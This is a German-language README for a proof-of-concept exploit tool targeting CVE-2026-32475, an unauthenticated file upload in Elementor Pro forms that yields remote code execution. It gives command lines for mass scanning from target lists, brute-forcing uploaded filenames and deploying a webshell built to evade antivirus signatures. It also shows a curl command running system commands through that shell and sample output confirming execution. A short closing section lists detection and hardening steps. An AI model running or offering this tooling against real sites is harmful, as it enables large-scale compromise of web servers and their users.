
Proof-of-Concept-Exploit für CVE-2026-32475, einen nicht authentifizierten beliebigen Datei-Upload in Elementor Pro, der zu Remote-Code-Ausführung führt. Enthält Massen-Scanning, Brute-Force-Bestätigung von Dateinamen und eine integrierte verschleierte Webshell für autorisierte Tests.
Elementor Pro Pre-Authentifizierung Beliebiger Datei-Upload, der zu Remote Code Execution führt
Proof-of-Concept für CVE-2026-32475, einen kritischen nicht authentifizierten beliebigen Datei-Upload im Forms-Modul von Elementor Pro, der in Remote Code Execution endet. Der PoC sendet zwei Dateiteile für dasselbe Upload-Feld — einen leeren ersten Eintrag (leerer Dateiname, der UPLOAD_ERR_NO_FILE auslöst), gefolgt von der Payload. Die validation()-Schleife wird beim leeren Eintrag frühzeitig über return beendet, während process_field() ihn über continue überspringt, sodass die Payload nie auf die Dateierweiterung geprüft wird und mit einer .php-Erweiterung in einem öffentlichen Verzeichnis landet. PoCs, die das korrigierte Verhalten testen — dieselbe Anfrage nach dem Patchen — müssen von der Erweiterungsprüfung abgewiesen werden.
Hinweis: Dieser PoC dient nur für autorisierte Sicherheitstests und Forschung. CVE-2026-32475 wird derzeit aktiv in freier Wildbahn ausgenutzt, und Wordfence hat seit der Offenlegung am 19. August über 190.000 Versuche blockiert. Sie sind dafür verantwortlich, alle geltenden Gesetze einzuhalten und vor dem Testen eines Systems eine schriftliche Genehmigung einzuholen.
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)<= 4.2.1requests-BibliothekAbhängigkeiten installieren:
pip install requests
python cve-2026-32475-poc.py -t http://localhost/wplab/?page_id=6
python cve-2026-32475-poc.py -t http://localhost/wplab/?page_id=6 --brute --seconds-window 3
python cve-2026-32475-poc.py -t http://localhost/wplab/?page_id=6 --shell --brute
--shell lädt eine minimal verschleierte PHP-Webshell hoch (Schlüsselwörter werden zur Laufzeit über
chr()/implode/strrev erstellt, Befehls-Parameter vapcom), sodass einfache statische Signaturen und
AV-Echtzeitscans auf der Festplatte sie nicht erkennen. Der gespeicherte Dateiname ist weiterhin zufällig
(<uniqid()>.php); kombinieren Sie dies mit --brute, das ?vapcom=echo <marker> abfragt und
exec confirmed: <name>.php meldet. Manuelle Verwendung, sobald gefunden:
curl "http://TARGET/wp-content/uploads/elementor/forms/<uniqid>.php?vapcom=id"
python cve-2026-32475-poc.py -T targets.txt -o results.csv
python cve-2026-32475-poc.py -t http://target/page-with-form/ --payload ./lab-shell.php
| Argument | Beschreibung | Standard |
|---|---|---|
-t, --target | Einzelne Ziel-URL | - |
-T, --targets | Datei mit Ziel-URLs, eine pro Zeile | - |
-o, --output | Ergebnisdatei (CSV: Ziel, Status, form_id, post_id, Feld, Hinweis) | - |
--timeout | Request-Timeout in Sekunden | 15 |
--post-id | Erkannte post_id überschreiben | auto |
--form-id | Erkannte form_id überschreiben (Elementor-Widget-ID) | auto |
--field | Erkannte custom_id des Upload-Felds überschreiben | auto |
--payload | Pfad zu einer benutzerdefinierten Payload-Datei (Standard: harmlose PHP-Token-Datei) | harmloses Token |
--shell | Integrierte verschleierte PHP-Webshell hochladen (<?php ... system($_GET) ?> zur Laufzeit erstellt, Parameter vapcom) anstelle des Tokens | aus |
--brute | Nach einem erfolgreichen Upload den uniqid()-Dateinamen per Brute-Force ermitteln, um die Codeausführung zu bestätigen | aus |
--seconds-window | Sekunden vor/nach dem Server-Date-Header für Brute-Force | 5 |
[*] Untersuche http://localhost/wplab/?page_id=6 ...
[+] Formular gefunden: post_id=6 form_id=a1b2c3d4 field=upload_file
[*] AJAX -> HTTP 200
[*] Ergebnis: verwundbar - Upload akzeptiert
Antwort : {"success":true,"data":{"message":"Ihre Übermittlung war erfolgreich.","data":[]}}
Hochgeladen nach : /wp-content/uploads/elementor/forms/<uniqid>.php
[+] AUSFÜHRUNG BESTÄTIGT: 6a9bb5d70fba6.php -> 'POC3f9a2c...'
[*] Fertig: 1/1 verwundbar
Ein success:true in der AJAX-Antwort bedeutet, dass die Payload ohne Erweiterungsprüfung akzeptiert wurde. Schritt 4 mit --brute (ein 200 auf der erratenen .php-Datei, die den Marker enthält) bestätigt serverseitige PHP-Ausführung — d. h. vollständige RCE.
Ergebnis-Status: verwundbar | gepatcht | unbekannt | Fehler
verwundbar — Der Webserver gab "success":true zurück; die Payload übersprang die Erweiterungsprüfunggepatcht — Der Upload wurde mit einem Dateityp-Fehler abgelehnt (Erweiterungsprüfung lief)unbekannt — HTTP erfolgreich, aber die Antwort war nicht success:true (falsche IDs oder unerwarteter Zustand)Fehler — Request-/Parse-Fehler (Timeout, Nicht-200, Formular nicht gefunden)<uniqid()>.<Angreifer-Erweiterung> — der übermittelte Basisname wird verworfen, daher sind Tricks mit doppelter Erweiterung/Null-Byte irrelevant; nur die Erweiterungsprüfung zählt, und genau diese bricht..htaccess in wp-content/uploads/elementor/forms/, die Content-Disposition: attachment für alle Dateien setzt. Dies stoppt die Ausführung nicht — PHP läuft weiterhin serverseitig und die heruntergeladene Antwort ist die ausgeführte Ausgabe. Um eine Shell im Labor im Browser darzustellen, deaktivieren Sie diese .htaccess; in der realen Welt behandeln Sie sie nur als kosmetisch und verlassen Sie sich auf serverseitige PHP-Blockierung.uniqid() = sprintf("%08x%05x", uint32(tv_sec), tv_usec), daher ist der Name zeitbasiert (Unix-Sekunden, niedrige 32 Bits, + Mikrosekunden). Der Brute-Schritt umklammert die in der Date-Header der Submit-Antwort beobachtete Sekunde und fragt für .php-Dateien ?vapcom=echo <marker> ab (oder ?c= für die Token-/--payload-Datei), sodass eine markerhaltige Antwort eine tatsächliche serverseitige PHP-Ausführung ist, nicht nur ein Dateilesen. Der schlechteste Fall sind ~1 Mio. Mikrosekunden-Versuche pro Sekunde, also verkleinern Sie --seconds-window, um die Läufe kurz zu halten.# PHP-Dateien, die im Uploads-Verzeichnis nicht existieren sollten
find wp-content/uploads/elementor/forms/ -type f -name "*.php*"
.php/.phtml/.phar/.hta-Datei unter dem Forms-Verzeichnis als Beweis für eine Kompromittierung.GET unter /wp-content/uploads/elementor/forms/ und POST mit elementor_pro_forms_send_form.mu-plugins, modifizierten Core-/Theme-Dateien und unerwarteten WP-Cron-Ereignissen; bevorzugen Sie die Wiederherstellung eines bekannten guten Backups gegenüber der Bereinigung vor Ort.location-Regel oder Apache-<FilesMatch>). Dies ist die dauerhafte Lösung und reduziert diese und zukünftige Upload-Schwachstellen auf „verschwendeten Speicherplatz".elementor_pro_forms_send_form prüfen.